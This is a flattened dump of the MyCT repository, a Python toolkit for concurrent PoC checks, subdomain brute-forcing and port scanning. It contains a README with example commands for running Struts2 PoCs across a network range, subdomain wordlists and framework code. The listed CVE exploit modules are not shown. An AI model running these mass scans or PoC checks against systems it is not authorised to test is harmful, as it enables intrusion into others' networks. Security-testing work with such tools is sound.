├── MyCT.py
├── README.md
├── data
├── allDnsServer.txt
├── badDnsServer.txt
├── next_sub.txt
├── next_sub2.txt
├── next_sub_full.txt
├── subnames.txt
└── subnames_all_5_letters.txt
├── docx
├── LICENSE.txt
├── architecture.jpg
├── callGraph.png
├── ico.png
├── license-GPLv2-red.svg
└── python-2.7-green.svg
├── lib
├── __init__.py
├── cli.py
├── controller
│ ├── __init__.py
│ ├── coreengine.py
│ ├── engine.py
│ ├── pocengine.py
│ └── preengine.py
├── core
│ ├── __init__.py
│ ├── common.py
│ ├── config.py
│ ├── data.py
│ ├── log.py
│ ├── setting.py
│ └── static.py
├── loader
│ ├── __init__.py
│ └── loader.py
├── parser
│ ├── __init__.py
│ ├── hander.py
│ └── parser.py
└── utils
│ ├── __init__.py
│ └── versioncheck.py
├── pocmodules
├── .txt
├── SolarWinds
│ └── CVE-2020-10148.py
├── SonicWall
│ └── SSL-VPN_rce.py
├── coremail
│ └── CMXT5-2019-0002.py
├── demo1.py
├── demo2.py
├── drupal
│ ├── CVE-2018-7600.py
│ ├── CVE-2018-7602.py
│ └── CVE-2019-6340.py
├── fastjson
│ └── 1247.py
├── flink
│ └── CVE-2020-17519.py
├── fortios
│ └── CVE-2018-13379.py
├── get-title.py
├── jumpserver
│ ├── 2021-0115-monitor.py
│ └── 2021-0115.py
├── lanproxy
│ └── CVE-2021-3019.py
├── leak
│ ├── git.py
│ └── svn.py
├── ljjsdb.py
├── print.py
├── saltstack
│ └── CVE-2020-16846.py
├── seeyon
│ ├── 202012-rce.py
│ ├── ajaxAction_rce_fu.php
│ └── ajaxAction_rce_ping.php
├── shiro
│ ├── abp.py
│ ├── rce.py
│ └── shiro_tool.jar
├── struts2
│ ├── S2-052.py
│ ├── s2-057.py
│ └── s2-061.py
├── tomcat
│ └── cve-2020-1938.py
├── weblogic
│ ├── CVE-2019-2725-w12.py
│ ├── CVE-2020-14882.py
│ ├── CVE-2020-14883-w12.py
│ └── CVE-2021-2109.py
└── yonyou
│ └── grp-u8-rce.py
├── premodules
├── demo.py
├── fget-web-all.py
├── fget-web.py
├── get-port.py
├── get-web-url.py
├── get-web.py
├── get-wlg.py
└── ljjsdb.py
├── requirement.txt
└── thirdparty
├── IPy.py
├── __init__.py
├── ansistrm.py
├── colorama
├── __init__.py
├── ansi.py
├── ansitowin32.py
├── initialise.py
├── win32.py
└── winterm.py
├── termcolor.py
├── terminal.py
└── utils.py
/MyCT.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | # Author:0671
3 |
4 | from lib.cli import main
5 |
6 | if __name__ == '__main__':
7 | # Enter the main function in command line mode
8 | main()
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # MyCT(My *Concurrent Toolkit*)
2 |
3 | [](https://www.python.org/) [](https://github.com/0671/MyCT/blob/main/docx/LICENSE.txt)
4 | 基于**Xyntax的[POC-T](https://github.com/Xyntax/POC-T)** 进行个人重构。
5 | 用于安全运维中的批量PoC、子域发现与端口扫描等并发任务。
6 |
7 |
8 | 声明
9 | ---
10 | 本工具仅用于个人安全研究学习。由于传播、利用本工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,工具作者不为此承担任何责任。
11 |
12 | 程序架构
13 | ---
14 | 
15 |
16 |
17 | 特点
18 | ---
19 | - 高并发(线程或协程)
20 | - 支持多模块、双步骤执行
21 | - 模块编写快捷方便且高自由度(eg:ljjsdb模块逻辑来源于[subDomainsBrute](https://github.com/lijiejie/subDomainsBrute))
22 |
23 |
24 | 安装
25 | ---
26 | * 安装 python2.7、pip
27 | * 安装依赖库:`pip install -r requirement.txt`
28 |
29 |
30 | 快速开始
31 | ---
32 | * 帮助:`python MyCT.py -h`
33 | * 显示模块:`python MyCT.py --show`
34 | * 使用**模块1**处理并发目标:`python MyCT.py -m 模块1 -iN 1.1.1.0/24`
35 | * 使用**模块1**预处理并发目标,然后使用**模块2**对结果进行处理:`python MyCT.py -pm 模块1 -m 模块2 -iN 1.1.1.0/24`
36 | eg:
37 | * 子域名爆破:`python MyCT.py -m ljjsdb -c 500 -iS test.com`
38 | * 扫描网段中的Web服务,获取网站标题、PoC测试:`python MyCT.py -pm get-web -m get-title struts2/S2-052 struts2/s2-057 -c 200 -iN 192.168.3.0/24`
39 |
40 |
41 | 模块编写
42 | ---
43 | 位于promodule/或premodule/下,新建py文件:
44 | ```
45 | class c2Class(object):
46 | def __init__(self):
47 | pass
48 | def c2Func(self,target):
49 | status = 0
50 | returnData = ''
51 | return status,returnData
52 | ```
53 | 其中:
54 | - 类名`c2Class`、方法名`c2Func`,一般不可以改变,必须使用该名称定义类与方法。
55 | - `c2Class`的 `__init__`方法一般放置一些通数据,如漏洞名称等。
56 | - `c2Class`的 `c2Func`方法一般放置需要并发的代码(PoC逻辑、端口扫描等)。
57 | - 返回**状态码**、**返回数据**:
58 | - 状态码为int型,有4种:0-失败、1-成功、-1-重试、10-成功且增加测试。
59 | - 返回数据可以是任意类型(必须实现了**`__str__`方法**,如果需要设置目标优先级,还需要实现**`__lt__`方法**),也可以是list类型,list元素需符合以上要求。
60 |
61 | 更多详情可查看premodules或pocmodules目录下的`demo.py`。
62 |
63 |
64 | 程序设置
65 | ---
66 | lib/core/setting.py 下
67 | 并发数 **CONCURRENT_NUM** 默认为 50
68 | 并发模块类名称 **CLASSNAME** 默认为 c2Class
69 | 并发模块类的并发函数名称 **FUNCNAME **默认为 c2Func
70 |
71 | 反馈
72 | ---
73 | Mail:h.vi@qq.com
74 | 或者[issue](https://github.com/0671/MyCT/issues/new)、PR
75 |
--------------------------------------------------------------------------------
/data/allDnsServer.txt:
--------------------------------------------------------------------------------
1 | 119.29.29.29
2 | 182.254.116.116
3 | # 223.5.5.5
4 | # 223.6.6.6
5 | 114.114.115.115
6 | 114.114.114.114
--------------------------------------------------------------------------------
/data/badDnsServer.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0671/MyCT/1982dc6fdb4e03f180eb587f50d277ef6174db9d/data/badDnsServer.txt
--------------------------------------------------------------------------------
/data/next_sub.txt:
--------------------------------------------------------------------------------
1 | test
2 | test2
3 | t
4 | dev
5 | 1
6 | 2
7 | 3
8 | s1
9 | s2
10 | s3
11 | admin
12 | adm
13 | a
14 | ht
15 | adminht
16 | webht
17 | web
18 | gm
19 | sys
20 | system
21 | manage
22 | manager
23 | mgr
24 | b
25 | c
26 | passport
27 | bata
28 | wei
29 | weixin
30 | wechat
31 | wx
32 | wiki
33 | upload
34 | ftp
35 | pic
36 | jira
37 | zabbix
38 | nagios
39 | bug
40 | bugzilla
41 | sql
42 | mysql
43 | db
44 | stmp
45 | pop
46 | imap
47 | mail
48 | zimbra
49 | exchange
50 | forum
51 | bbs
52 | list
53 | count
54 | counter
55 | img
56 | img01
57 | img02
58 | img03
59 | img04
60 | api
61 | cache
62 | js
63 | css
64 | app
65 | apps
66 | wap
67 | m
68 | sms
69 | zip
70 | monitor
71 | proxy
72 | update
73 | upgrade
74 | stat
75 | stats
76 | data
77 | portal
78 | blog
79 | autodiscover
80 | en
81 | search
82 | so
83 | oa
84 | database
85 | home
86 | sso
87 | help
88 | vip
89 | s
90 | w
91 | down
92 | download
93 | downloads
94 | dl
95 | svn
96 | git
97 | log
98 | staff
99 | vpn
100 | sslvpn
101 | ssh
102 | scanner
103 | sandbox
104 | ldap
105 | lab
106 | go
107 | demo
108 | console
109 | cms
110 | auth
111 | crm
112 | erp
113 | res
114 | static
115 | old
116 | new
117 | beta
118 | image
119 | service
120 | login
121 | 3g
122 | docs
123 | it
124 | e
125 | live
126 | library
127 | files
128 | i
129 | d
130 | cp
131 | connect
132 | gateway
133 | lib
134 | preview
135 | backup
136 | share
137 | status
138 | assets
139 | user
140 | vote
141 | bugs
142 | cas
143 | feedback
144 | id
145 | edm
146 | survey
147 | union
148 | ceshi
149 | dev1
150 | updates
151 | phpmyadmin
152 | pma
153 | edit
154 | master
155 | xml
156 | control
157 | profile
158 | zhidao
159 | tool
160 | toolbox
161 | boss
162 | activity
163 | www
--------------------------------------------------------------------------------
/data/next_sub2.txt:
--------------------------------------------------------------------------------
1 | {alphnum}{alphnum}{alphnum}
2 | {alphnum}{alphnum}
3 | t
4 | www
5 | www2
6 | mail
7 | forum
8 | report
9 | no:363en
10 | online
11 | test
12 | portal
13 | b2b
14 | conference
15 | customer
16 | dns
17 | dns1
18 | dns2
19 | no:1131edi
20 | ftp
21 | gw
22 | pop
23 | smtp
24 | m2
25 | t2
26 | t3
27 | t8
28 | tc
29 | vc
30 | door
31 | trade
32 | ship
33 | danger
34 | model
35 | youth
36 | inner
37 | schedule
38 | bulk
39 | graph
40 | apitest
41 | booking
42 | en2
43 | epay
44 | hg
45 | xg
46 | ets
47 | geo
48 | ggt
49 | hpg
50 | rtx
--------------------------------------------------------------------------------
/data/next_sub_full.txt:
--------------------------------------------------------------------------------
1 | test
2 | test2
3 | t
4 | dev
5 | 1
6 | 2
7 | 3
8 | s1
9 | s2
10 | s3
11 | admin
12 | adm
13 | a
14 | ht
15 | adminht
16 | webht
17 | web
18 | gm
19 | sys
20 | system
21 | manage
22 | manager
23 | mgr
24 | b
25 | c
26 | passport
27 | bata
28 | wei
29 | weixin
30 | wechat
31 | wx
32 | wiki
33 | upload
34 | ftp
35 | pic
36 | jira
37 | zabbix
38 | nagios
39 | bug
40 | bugzilla
41 | sql
42 | mysql
43 | db
44 | stmp
45 | pop
46 | imap
47 | mail
48 | zimbra
49 | exchange
50 | forum
51 | bbs
52 | list
53 | count
54 | counter
55 | img
56 | img01
57 | img02
58 | img03
59 | img04
60 | api
61 | cache
62 | js
63 | css
64 | app
65 | apps
66 | wap
67 | m
68 | sms
69 | zip
70 | monitor
71 | proxy
72 | update
73 | upgrade
74 | stat
75 | stats
76 | data
77 | portal
78 | blog
79 | autodiscover
80 | en
81 | search
82 | so
83 | oa
84 | database
85 | home
86 | sso
87 | help
88 | vip
89 | s
90 | w
91 | down
92 | download
93 | downloads
94 | dl
95 | svn
96 | git
97 | log
98 | staff
99 | vpn
100 | sslvpn
101 | ssh
102 | scanner
103 | sandbox
104 | ldap
105 | lab
106 | go
107 | demo
108 | console
109 | cms
110 | auth
111 | crm
112 | erp
113 | res
114 | static
115 | old
116 | new
117 | beta
118 | image
119 | service
120 | login
121 | 3g
122 | docs
123 | it
124 | e
125 | live
126 | library
127 | files
128 | i
129 | d
130 | cp
131 | connect
132 | gateway
133 | lib
134 | preview
135 | backup
136 | share
137 | status
138 | assets
139 | user
140 | vote
141 | bugs
142 | cas
143 | feedback
144 | id
145 | edm
146 | survey
147 | union
148 | ceshi
149 | dev1
150 | updates
151 | phpmyadmin
152 | pma
153 | edit
154 | master
155 | xml
156 | control
157 | profile
158 | zhidao
159 | tool
160 | toolbox
161 | boss
162 | activity
163 | www
164 | smtp
165 | webmail
166 | mx
167 | pop3
168 | ns1
169 | ns2
170 | webdisk
171 | www2
172 | news
173 | cpanel
174 | whm
175 | shop
176 | sip
177 | ns
178 | mobile
179 | www1
180 | email
181 | support
182 | mail2
183 | media
184 | lyncdiscover
185 | secure
186 | video
187 | my
188 | staging
189 | images
190 | dns
191 | info
192 | ns3
193 | mail1
194 | intranet
195 | cdn
196 | lists
197 | dns1
198 | www3
199 | dns2
200 | mobilemail
201 | store
202 | remote
203 | cn
204 | owa
205 | cs
206 | stage
207 | online
208 | jobs
209 | calendar
210 | community
211 | forums
212 | services
213 | dialin
214 | chat
215 | meet
216 | blogs
217 | hr
218 | office
219 | ww
220 | ftp2
221 | legacy
222 | b2b
223 | ns4
224 | v
225 | pda
226 | events
227 | av
228 | edu
229 | ads
230 | health
231 | es
232 | english
233 | ad
234 | extranet
235 | helpdesk
236 | training
237 | photo
238 | finance
239 | tv
240 | fr
241 | sc
242 | job
243 | cloud
244 | im
245 | careers
246 | game
247 | archive
248 | get
249 | gis
250 | access
251 | member
252 | mx1
253 | newsletter
254 | de
255 | qa
256 | direct
257 | alumni
258 | mx2
259 | hk
260 | sp
261 | gw
262 | relay
263 | jp
264 | content
265 | file
266 | citrix
267 | vpn2
268 | soft
269 | ssl
270 | server
271 | club
272 | ws
273 | host
274 | book
275 | www4
276 | sh
277 | tools
278 | mail3
279 | ms
280 | mailhost
281 | ca
282 | ntp
283 | ask
284 | sites
285 | sz
286 | spam
287 | wwww
288 | tw
289 | videos
290 | send
291 | music
292 | project
293 | uk
294 | start
295 | mall
296 | ns5
297 | outlook
298 | reports
299 | us
300 | partner
301 | mssql
302 | bj
303 | sharepoint
304 | link
305 | metrics
306 | partners
307 | smtp2
308 | webproxy
309 | mdm
310 | marketing
311 | ts
312 | security
313 | map
314 | ir
315 | fs
316 | origin
317 | travel
318 | feeds
319 | meeting
320 | u
321 | photos
322 | hq
323 | tj
324 | research
325 | pt
326 | members
327 | ru
328 | bm
329 | business
330 | eq
331 | cc
332 | w3
333 | student
334 | auto
335 | dx
336 | p
337 | rs
338 | dns3
339 | vc
340 | gmail
341 | uc
342 | press
343 | web1
344 | localhost
345 | ent
346 | tuan
347 | dj
348 | web2
349 | ss
350 | cnc
351 | vpn1
352 | pay
353 | time
354 | sx
355 | hd
356 | games
357 | lt
358 | projects
359 | g
360 | sales
361 | stream
362 | gb
363 | forms
364 | www5
365 | wt
366 | abc
367 | weather
368 | zb
369 | smtp1
370 | maps
371 | x
372 | register
373 | design
374 | radio
375 | software
376 | china
377 | math
378 | open
379 | view
380 | fax
381 | event
382 | pm
383 | test1
384 | alpha
385 | irc
386 | sg
387 | cq
388 | ftp1
389 | idc
390 | labs
391 | da
392 | directory
393 | developer
394 | reg
395 | catalog
396 | rss
397 | wh
398 | sd
399 | tg
400 | bb
401 | digital
402 | hb
403 | house
404 | site
405 | conference
406 | rt
407 | temp
408 | fw
409 | tz
410 | tech
411 | education
412 | biz
413 | f
414 | gallery
415 | gh
416 | car
417 | dc
418 | agent
419 | mis
420 | eng
421 | flash
422 | cx
423 | pub
424 | ticket
425 | doc
426 | card
427 | account
428 | code
429 | promo
430 | net
431 | kb
432 | jk
433 | social
434 | sports
435 | ems
436 | tp
437 | public
438 | mm
439 | pms
440 | mrtg
441 | as
442 | jw
443 | corp
444 | tr
445 | investor
446 | dm
447 | sts
448 | th
449 | bi
450 | 123
451 | st
452 | br
453 | wp
454 | art
455 | shopping
456 | global
457 | money
458 | prod
459 | students
460 | cj
461 | iphone
462 | vps
463 | ag
464 | food
465 | sb
466 | ly
467 | local
468 | sj
469 | server1
470 | testing
471 | brand
472 | sy
473 | buy
474 | life
475 | groups
476 | nl
477 | tour
478 | lms
479 | pro
480 | bc
481 | rtx
482 | hao
483 | exam
484 | fb
485 | in
486 | ams
487 | msoid
488 | idp
489 | vod
490 | cm
491 | dk
492 | hs
493 | usa
494 | ww2
495 | jwc
496 | lp
497 | rsc
498 | jd
499 | cf
500 | rms
501 | ec
502 | jabber
503 | streaming
504 | webdev
505 | dms
506 | investors
507 | bookstore
508 | kr
509 | cd
510 | corporate
511 | mail4
512 | fz
513 | order
514 | transfer
515 | hotel
516 | work
517 | bt
518 | au
519 | pages
520 | sm
521 | client
522 | r
523 | y
524 | audio
525 | cz
526 | ci
527 | se
528 | potala
529 | ch
530 | webservices
531 | dy
532 | cvs
533 | ra
534 | apple
535 | barracuda
536 | ip
537 | ja
538 | mkt
539 | archives
540 | www0
541 | intra
542 | gate
543 | youth
544 | internal
545 | mailgw
546 | customer
547 | linux
548 | registration
549 | movie
550 | mailgate
551 | q
552 | xx
553 | mx3
554 | mars
555 | phone
556 | desktop
557 | ds
558 | zz
559 | love
560 | show
561 | nc
562 | redmine
563 | ce
564 | pl
565 | wireless
566 | inside
567 | fx
568 | mp
569 | hz
570 | listserv
571 | analytics
572 | ks
573 | redirect
574 | accounts
575 | report
576 | hermes
577 | ae
578 | mobi
579 | ps
580 | edge
581 | resources
582 | img1
583 | law
584 | pr
585 | international
586 | ml
587 | trac
588 | rd
589 | market
590 | mailer
591 | cert
592 | hg
593 | cl
594 | img2
595 | development
596 | gs
597 | google
598 | space
599 | www6
600 | gd
601 | post
602 | voip
603 | ac
604 | push
605 | m2
606 | sq
607 | fc
608 | ar
609 | asp
610 | dr
611 | seo
612 | mobil
613 | sync
614 | kf
615 | be
616 | about
617 | mail01
618 | sns
619 | board
620 | pc
621 | links
622 | jj
623 | history
624 | mailman
625 | campus
626 | mms
627 | storage
628 | ns0
629 | cdn2
630 | cacti
631 | hy
632 | enterprise
633 | noc
634 | ic
635 | cgi
636 | track
637 | world
638 | act
639 | wl
640 | product
641 | ls
642 | sf
643 | affiliates
644 | android
645 | payment
646 | n
647 | gz
648 | web3
649 | learning
650 | signup
651 | z
652 | tao
653 | top
654 | wifi
655 | yy
656 | password
657 | cw
658 | wm
659 | ess
660 | ex
661 | resource
662 | print
663 | gc
664 | w2
665 | canada
666 | cr
667 | mc
668 | 0
669 | me
670 | keys
671 | sentry
672 | smtp3
673 | journal
674 | mt
675 | team
676 | orion
677 | edi
678 | test3
679 | tc
680 | main
681 | zs
682 | faq
683 | click
684 | hub
685 | tu
686 | golf
687 | phoenix
688 | bd
689 | build
690 | free
691 | ee
692 | int
693 | cdn1
694 | v2
695 | sa
696 | pos
697 | fi
698 | router
699 | rc
700 | mirror
701 | tracker
702 | ct
703 | special
704 | cal
705 | ns6
706 | atlas
707 | ids
708 | affiliate
709 | nj
710 | tt
711 | nz
712 | db1
713 | bg
714 | mercury
715 | family
716 | courses
717 | ipv6
718 | jupiter
719 | no
720 | venus
721 | nb
722 | beijing
723 | summer
724 | ma
725 | yp
726 | ocs
727 | star
728 | traveler
729 | multimedia
730 | fm
731 | study
732 | lb
733 | up
734 | shanghai
735 | bk
736 | www7
737 | join
738 | tfs
739 | feed
740 | h
741 | ns01
742 | php
743 | stock
744 | km
745 | books
746 | eu
747 | md
748 | 2013
749 | whois
750 | sw
751 | mailserver
752 | mb
753 | tms
754 | monitoring
755 | ys
756 | ga
757 | radius
758 | group
759 | mtest
760 | j
761 | www8
762 | wb
763 | m1
764 | billing
765 | aaa
766 | pf
767 | products
768 | faculty
769 | em
770 | opac
771 | cis
772 | xmpp
773 | nanjing
774 | taobao
775 | zp
776 | teacher
777 | co
778 | contact
779 | nt
780 | ky
781 | qq
782 | mp3
783 | gps
784 | hn
785 | users
786 | gl
787 | domain
788 | newsroom
789 | dh
790 | csc
791 | repo
792 | zw
793 | ismart
794 | pp
795 | gg
796 | wms
797 | ims
798 | www9
799 | 2014
800 | solutions
801 | at
802 | bak
803 | sl
804 | cwc
805 | firewall
806 | wordpress
807 | school
808 | nms
809 | developers
810 | pki
811 | pe
812 | v2-ag
813 | devel
814 | hp
815 | titan
816 | pluto
817 | kids
818 | sport
819 | mail5
820 | server2
821 | nas
822 | xh
823 | ap
824 | red
825 | mas
826 | translate
827 | dealer
828 | ipad
829 | demo2
830 | 2012
831 | dns4
832 | hh
833 | green
834 | dz
835 | hybrid
836 | discover
837 | adserver
838 | japan
839 | mi
840 | xf
841 | zeus
842 | am
843 | people
844 | aa
845 | win
846 | sk
847 | db2
848 | jenkins
849 | xb
850 | oss
851 | sdc
852 | wc
853 | its
854 | dw
855 | yun
856 | acs
857 | asia
858 | daj
859 | webadmin
860 | crl
861 | ebook
862 | mag
863 | csg
864 | blue
865 | bank
866 | one
867 | o
868 | horizon
869 | orders
870 | apis
871 | k
872 | l
873 | 4
874 | 5
875 | 6
876 | 7
877 | 8
878 | 9
879 | ab
880 | af
881 | ah
882 | ai
883 | aj
884 | ak
885 | al
886 | an
887 | ao
888 | aq
889 | aw
890 | ax
891 | ay
892 | az
893 | ba
894 | bf
895 | bh
896 | bl
897 | bn
898 | bo
899 | bp
900 | bq
901 | bs
902 | bu
903 | bv
904 | bw
905 | bx
906 | by
907 | bz
908 | cb
909 | cg
910 | ck
911 | cu
912 | cv
913 | cy
914 | dd
915 | df
916 | dg
917 | di
918 | dn
919 | do
920 | dp
921 | dq
922 | dt
923 | du
924 | dv
925 | ea
926 | eb
927 | ed
928 | ef
929 | eg
930 | eh
931 | ei
932 | ej
933 | ek
934 | el
935 | eo
936 | ep
937 | er
938 | et
939 | ev
940 | ew
941 | ey
942 | ez
943 | fa
944 | fd
945 | fe
946 | ff
947 | fg
948 | fh
949 | fj
950 | fk
951 | fl
952 | fn
953 | fo
954 | fp
955 | fq
956 | ft
957 | fu
958 | fv
959 | fy
960 | ge
961 | gf
962 | gi
963 | gj
964 | gk
965 | gn
966 | gp
967 | gq
968 | gr
969 | gt
970 | gu
971 | gv
972 | gx
973 | gy
974 | ha
975 | hc
976 | he
977 | hf
978 | hi
979 | hj
980 | hl
981 | hm
982 | ho
983 | hu
984 | hv
985 | hw
986 | hx
987 | ia
988 | ib
989 | ie
990 | if
991 | ig
992 | ih
993 | ii
994 | ij
995 | ik
996 | il
997 | io
998 | iq
999 | is
1000 | iu
1001 | iv
1002 | iw
1003 | ix
1004 | iy
1005 | iz
1006 | jb
1007 | jc
1008 | je
1009 | jf
1010 | jg
1011 | jh
1012 | ji
1013 | jl
1014 | jm
1015 | jn
1016 | jo
1017 | jq
1018 | jr
1019 | jt
1020 | ju
1021 | jv
1022 | jx
1023 | jy
1024 | jz
1025 | ka
1026 | kc
1027 | kd
1028 | ke
1029 | kg
1030 | kh
1031 | ki
1032 | kj
1033 | kk
1034 | kl
1035 | kn
1036 | ko
1037 | kp
1038 | kq
1039 | kt
1040 | ku
1041 | kv
1042 | kw
1043 | kx
1044 | kz
1045 | la
1046 | lc
1047 | ld
1048 | le
1049 | lf
1050 | lg
1051 | lh
1052 | li
1053 | lj
1054 | lk
1055 | ll
1056 | lm
1057 | ln
1058 | lo
1059 | lq
1060 | lr
1061 | lu
1062 | lv
1063 | lw
1064 | lx
1065 | lz
1066 | mf
1067 | mg
1068 | mh
1069 | mj
1070 | mk
1071 | mn
1072 | mo
1073 | mq
1074 | mr
1075 | mu
1076 | mv
1077 | mw
1078 | mz
1079 | na
1080 | nd
1081 | ne
1082 | nf
1083 | ng
1084 | nh
1085 | ni
1086 | nk
1087 | nm
1088 | nn
1089 | np
1090 | nq
1091 | nr
1092 | nu
1093 | nv
1094 | nw
1095 | nx
1096 | ny
1097 | ob
1098 | oc
1099 | od
1100 | oe
1101 | of
1102 | og
1103 | oh
1104 | oi
1105 | oj
1106 | ok
1107 | ol
1108 | om
1109 | on
1110 | oo
1111 | op
1112 | oq
1113 | or
1114 | os
1115 | ot
1116 | ou
1117 | ov
1118 | ow
1119 | ox
1120 | oy
1121 | oz
1122 | pa
1123 | pb
1124 | pd
1125 | pg
1126 | ph
1127 | pi
1128 | pj
1129 | pk
1130 | pn
1131 | po
1132 | pq
1133 | pu
1134 | pv
1135 | pw
1136 | px
1137 | py
1138 | pz
1139 | qb
1140 | qc
1141 | qd
1142 | qe
1143 | qf
1144 | qg
1145 | qh
1146 | qi
1147 | qj
1148 | qk
1149 | ql
1150 | qm
1151 | qn
1152 | qo
1153 | qp
1154 | qr
1155 | qs
1156 | qt
1157 | qu
1158 | qv
1159 | qw
1160 | qx
1161 | qy
1162 | qz
1163 | rb
1164 | re
1165 | rf
1166 | rg
1167 | rh
1168 | ri
1169 | rj
1170 | rk
1171 | rl
1172 | rm
1173 | rn
1174 | ro
1175 | rp
1176 | rq
1177 | rr
1178 | rv
1179 | rw
1180 | rx
1181 | ry
1182 | rz
1183 | si
1184 | sn
1185 | sr
1186 | su
1187 | sv
1188 | ta
1189 | tb
1190 | td
1191 | te
1192 | tf
1193 | ti
1194 | tk
1195 | tl
1196 | tm
1197 | tn
1198 | to
1199 | tq
1200 | tx
1201 | ty
1202 | ua
1203 | ub
1204 | ud
1205 | ue
1206 | uf
1207 | ug
1208 | uh
1209 | ui
1210 | uj
1211 | ul
1212 | um
1213 | un
1214 | uo
1215 | uq
1216 | ur
1217 | ut
1218 | uu
1219 | uv
1220 | uw
1221 | ux
1222 | uy
1223 | uz
1224 | va
1225 | vb
1226 | vd
1227 | ve
1228 | vf
1229 | vg
1230 | vh
1231 | vi
1232 | vj
1233 | vk
1234 | vl
1235 | vm
1236 | vn
1237 | vo
1238 | vp
1239 | vq
1240 | vr
1241 | vs
1242 | vt
1243 | vu
1244 | vv
1245 | vw
1246 | vx
1247 | vy
1248 | vz
1249 | wa
1250 | wd
1251 | we
1252 | wf
1253 | wg
1254 | wi
1255 | wj
1256 | wk
1257 | wn
1258 | wo
1259 | wq
1260 | wr
1261 | wu
1262 | wv
1263 | wy
1264 | wz
1265 | xa
1266 | xc
1267 | xd
1268 | xe
1269 | xg
1270 | xi
1271 | xj
1272 | xk
1273 | xl
1274 | xm
1275 | xn
1276 | xo
1277 | xp
1278 | xq
1279 | xr
1280 | xs
1281 | xt
1282 | xu
1283 | xv
1284 | xw
1285 | xy
1286 | xz
1287 | ya
1288 | yb
1289 | yc
1290 | yd
1291 | ye
1292 | yf
1293 | yg
1294 | yh
1295 | yi
1296 | yj
1297 | yk
1298 | yl
1299 | ym
1300 | yn
1301 | yo
1302 | yq
1303 | yr
1304 | yt
1305 | yu
1306 | yv
1307 | yw
1308 | yx
1309 | yz
1310 | za
1311 | zc
1312 | zd
1313 | ze
1314 | zf
1315 | zg
1316 | zh
1317 | zi
1318 | zj
1319 | zk
1320 | zl
1321 | zm
1322 | zn
1323 | zo
1324 | zq
1325 | zr
1326 | zt
1327 | zu
1328 | zv
1329 | zx
1330 | zy
--------------------------------------------------------------------------------
/data/subnames_all_5_letters.txt:
--------------------------------------------------------------------------------
1 | {alphnum}
2 | {alphnum}{alphnum}
3 | {alphnum}{alphnum}{alphnum}
4 | {alphnum}{alphnum}{alphnum}{alphnum}
5 | {alphnum}{alphnum}{alphnum}{alphnum}{alphnum}
--------------------------------------------------------------------------------
/docx/architecture.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0671/MyCT/1982dc6fdb4e03f180eb587f50d277ef6174db9d/docx/architecture.jpg
--------------------------------------------------------------------------------
/docx/callGraph.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0671/MyCT/1982dc6fdb4e03f180eb587f50d277ef6174db9d/docx/callGraph.png
--------------------------------------------------------------------------------
/docx/ico.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0671/MyCT/1982dc6fdb4e03f180eb587f50d277ef6174db9d/docx/ico.png
--------------------------------------------------------------------------------
/docx/license-GPLv2-red.svg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/docx/python-2.7-green.svg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/lib/__init__.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
--------------------------------------------------------------------------------
/lib/cli.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import sys
3 | import logging
4 | import traceback
5 | from lib.core.data import logger,args
6 | from lib.parser.parser import parseArgs
7 | from lib.core.static import CUSTOM_LOGGING
8 | from lib.core.common import setPaths,initWinStdout,printBanner,callGraph
9 | from lib.core.config import initConfig
10 | from lib.loader.loader import loadModule,loadTarget
11 | from lib.controller.engine import run as runEngine
12 |
13 |
14 | @callGraph
15 | def main():
16 | try:
17 | logger.log(CUSTOM_LOGGING.INFO,'Start the initialization work ...')
18 |
19 | # Set program path
20 | logger.log(CUSTOM_LOGGING.SUCCESS,'Start setting program path ...')
21 | setPaths()
22 |
23 | # Parse command line parameters
24 | logger.log(CUSTOM_LOGGING.INFO,'Start parsing parameters ...')
25 | args=parseArgs()
26 |
27 | # Adjust color output
28 | logger.log(CUSTOM_LOGGING.INFO,'Start adjusting color output ...')
29 | initWinStdout()
30 |
31 | # Output banner information
32 | logger.log(CUSTOM_LOGGING.INFO,'Start printing banner ...')
33 | printBanner()
34 |
35 | # Print banner information
36 | logger.log(CUSTOM_LOGGING.INFO,'Start initial configuration ...')
37 | initConfig(args)
38 |
39 | # Load concurrent target
40 | logger.log(CUSTOM_LOGGING.INFO,'Start to initialize the concurrent target ...')
41 | loadTarget()
42 |
43 | # Load modules (preprocessing and processing)
44 | logger.log(CUSTOM_LOGGING.INFO,'Start to initialize the concurrent module ...')
45 | loadModule()
46 |
47 | # So far, all initialization work of the program is completed
48 | logger.log(CUSTOM_LOGGING.INFO,'So far, Initialization work has been completed')
49 |
50 | # Run concurrency engine
51 | logger.log(CUSTOM_LOGGING.INFO,'Start running the concurrent engine ...')
52 | runEngine()
53 |
54 | # End of program
55 | logger.log(CUSTOM_LOGGING.INFO,'End of program.')
56 | sys.exit(0)
57 |
58 | except KeyboardInterrupt as e:
59 | # If the KeyboardInterrupt exception occurs during the program, it means that the user has pressed ctrl+c, that is, the user voluntarily exits
60 | logger.error('User Quit')
61 | sys.exit(0)
62 |
63 | except Exception as e:
64 | # If other exceptions occur in the program, print the exception traceback message
65 | errMsg=traceback.format_exc()
66 | logger.error('An exception has occurred in the MyCT.\n Exception : \n%s'%errMsg)
67 | logger.error('The program exits unexpectedly.')
68 | sys.exit(-1)
--------------------------------------------------------------------------------
/lib/controller/__init__.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
--------------------------------------------------------------------------------
/lib/controller/coreengine.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | # 以下3行是为了协程模式。为什么这3行代码要放在代码最前面 而不是放在需要调用gevent前的地方,因为py3要求这3行代码必须在最前面,py2无这要求。
3 | # 20210116 这3行代码放在前面运行,win10运行了,一段时间后会奔溃。。。
4 | # import gevent
5 | # from gevent import monkey # gevent需要修改python自带的一些标准库,以达到IO阻塞时可以切换协程运行的目的,这一过程通过monkey patch完成
6 | # monkey.patch_all()
7 | import time
8 | import threading
9 | import traceback
10 | try:import queue as Queue # 兼容py2、3
11 | except:import Queue
12 | import func_timeout # 为了给c2Class文件中的函数限时所需
